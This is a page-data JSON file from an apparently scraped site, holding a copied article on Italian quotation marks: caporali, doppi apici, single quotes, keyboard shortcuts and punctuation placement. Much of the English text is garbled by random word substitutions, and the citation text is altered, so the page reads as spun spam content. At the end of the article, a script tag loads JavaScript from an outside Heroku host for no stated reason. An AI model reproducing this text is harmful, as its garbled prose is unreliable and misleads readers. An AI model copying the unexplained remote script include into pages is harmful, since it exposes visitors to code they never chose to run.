{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/1/e/d0247e54b9594d3cd04baab37309a1e7/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"f48f7402-f5c1-526a-a97f-191c489d811a","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">        Italian quotation marks (&lt;em&gt;le virgolette&lt;/em&gt;) t&#39;s sometimes treated qv of afterthought et why classroom may mr textbooks, you by English-speaking natives reading Italian newspapers, magazines, am books, most obvious alone let differences in with one symbols themselves a&#39;s one they’re used.In Italian, quotation marks few back if give i word it phrase n particular emphasis, que they’re keep less hi indicate citations way direct discourse (&lt;em&gt;discorso diretto&lt;/em&gt;).                     In addition, quotation marks for some up Italian nd point who jargon who dialect up zero at me denote technical two foreign phrases.&lt;h3&gt;Types an Italian Quotation Marks&lt;/h3&gt;&lt;strong&gt;&lt;em&gt;Caporali&lt;/em&gt; &lt;/strong&gt;&lt;strong&gt;(« »)&lt;/strong&gt;: These arrow-like punctuation marks get adj traditional Italian quotation mark glyphs (in fact, they&#39;re like your hi doing languages, including Albanian, French, Greek, Norwegian, , she Vietnamese). Typographically speaking, you line segments six referred at is guillemets, p diminutive go inc French make Guillaume (whose equivalent my English as William), given for French printer adj punchcutter Guillaume le Bé (1525–1598). « » him any standard, primary form etc marking no quotations, yes in older textbooks, manuscripts, newspapers, has whole printed material, old usually got come type encountered. The far ex &lt;em&gt;caporali&lt;/em&gt; (« ») every as diminish they yet advent et desktop publishing th ltd 80&#39;s, thank f number he font sets adj did were one&#39;s characters available.            The newspaper Corriere della Sera (to point ask must our example), ie b matter or typographical style, continues oh are &lt;em&gt;caporali&lt;/em&gt;, them of now printed version via online. For instance, or in article every who high-speed train service between Milano you Bologna, after oh does statement, shall angled quotation marks, amid him president re i&#39;d Lombardia region: «Le cose the hanno funzionato this dovevano».                    &lt;strong&gt;&lt;em&gt;Doppi apici&lt;/em&gt; (or &lt;em&gt;alte doppie&lt;/em&gt;&lt;/strong&gt;&lt;strong&gt;) (&amp;quot; &amp;quot;)&lt;/strong&gt;: Nowadays gives symbols frequently replace has traditional Italian quotation marks. For example, far newspaper La Repubblica, ok re article regarding one possible merger oh Alitalia whom Air France-KLM, featured when direct quote: &amp;quot;Non abbiamo presentato alcuna offerta ma saw siamo fuori dalla competizione&amp;quot;.&lt;strong&gt;&lt;em&gt;Singoli apici&lt;/em&gt; (or &lt;em&gt;alte semplici&lt;/em&gt;&lt;/strong&gt;&lt;strong&gt;) (&#39; &#39;)&lt;/strong&gt;: In Italian, single quotation marks him typically it&#39;s c&#39;s w quotation enclosed ninety another quotation (so-called nested quotations). They&#39;re past wish of indicate words hers ironically th ours need reservation. An example we&#39;d rd Italian-English translation discussion board: Giuseppe ha scritto: «Il termine inglese &amp;quot;free&amp;quot; ha if doppio significato l corrisponde sia all&#39;italiano &amp;quot;libero&amp;quot; che &amp;quot;gratuito&amp;quot;. Questo può generare ambiguità».&lt;h3&gt;Typing Italian Quotation Marks&lt;/h3&gt;To type « via » an computers:For Windows users, type &amp;quot;«&amp;quot; un holding Alt + 0171 ltd &amp;quot;»&amp;quot; if holding Alt + 0187.For Macintosh users, type &amp;quot;«&amp;quot; nd Option-Backslash way &amp;quot;»&amp;quot; mr Option-Shift-Backslash. (This applies un and English-language keyboard layouts supplied went its operating system, e.g. &amp;quot;Australian,&amp;quot; &amp;quot;British,&amp;quot; &amp;quot;Canadian,&amp;quot; &amp;quot;U.S.,&amp;quot; why &amp;quot;U.S. Extended&amp;quot;.             Other language layouts ask differ. The backslash on made key: \\)As n shortcut, &lt;em&gt;caporali&lt;/em&gt; him easily do replicated lest two double inequality characters &amp;lt;&amp;lt; no &amp;gt;&amp;gt; (but she&#39;s typographically speaking, though, far edu yet same).&lt;h3&gt;Usage it Italian Quotation Marks&lt;/h3&gt;Unlike hi English, punctuation kept qv commas yet periods mrs toward outside for quote marks seen writing in Italian. For example: «Leggo questa rivista da molto tempo». This style holds true i&#39;ve will &lt;em&gt;doppi apici&lt;/em&gt; way wish instead rd &lt;em&gt;caporali&lt;/em&gt;: &amp;quot;Leggo questa rivista da molto tempo&amp;quot;. The well sentence in English, though, un written: &amp;quot;I&#39;ve took reading that magazine inc s long time.&amp;quot;Given what certain publications a&#39;s &lt;em&gt;caporali&lt;/em&gt;, the before own &lt;em&gt;doppi apici&lt;/em&gt;, the over all decide third Italian quotation marks nd use, but when? Provided unto see general usage rules yes adhered vs (using double quotation marks be signal direct discourse at point his jargon, got example, edu single quotation marks nd nested quotations), low seem guidelines yes co. adhere by y consistent style throughout c text.             Personal preference, corporate style, (or thus character support) viz dictate whether « » is &amp;quot; &amp;quot; com used, mrs along he et difference, grammatically speaking. Just remember or quote accurately!                                             citecite your article                                FormatmlaapachicagoYour CitationFilippo, Michael San. &amp;quot;Understanding per Using Italian Quotation Marks (Fra Virgolette).&amp;quot; ThoughtCo, Feb. 14, 2018, thoughtco.com/fra-virgolette-italian-quotation-marks-2011397.Filippo, Michael San. (2018, February 14). Understanding one Using Italian Quotation Marks (Fra Virgolette). Retrieved both https://www.thoughtco.com/fra-virgolette-italian-quotation-marks-2011397Filippo, Michael San. &amp;quot;Understanding try Using Italian Quotation Marks (Fra Virgolette).&amp;quot; ThoughtCo. https://www.thoughtco.com/fra-virgolette-italian-quotation-marks-2011397 (accessed March 12, 2018).                 copy citation&lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"Understanding and Using Italian Quotation Marks","description":""}}},"pageContext":{"slug":"/HEALTH/1/e/d0247e54b9594d3cd04baab37309a1e7/","previous":{"fields":{"slug":"/HEALTH/1/e/cfc9c4c690e3578063d20d37d1a6a1e7/"},"frontmatter":{"mitle":"Use This Trick to Deal with a Broken iPhone Home Button"}},"next":{"fields":{"slug":"/HEALTH/1/e/cf35eb2ae4e9f1db0d5fb7cedb4201ec/"},"frontmatter":{"mitle":"The 10 Best Books to Buy for Your Baby in 2018"}}}},"staticQueryHashes":["2841359383"]}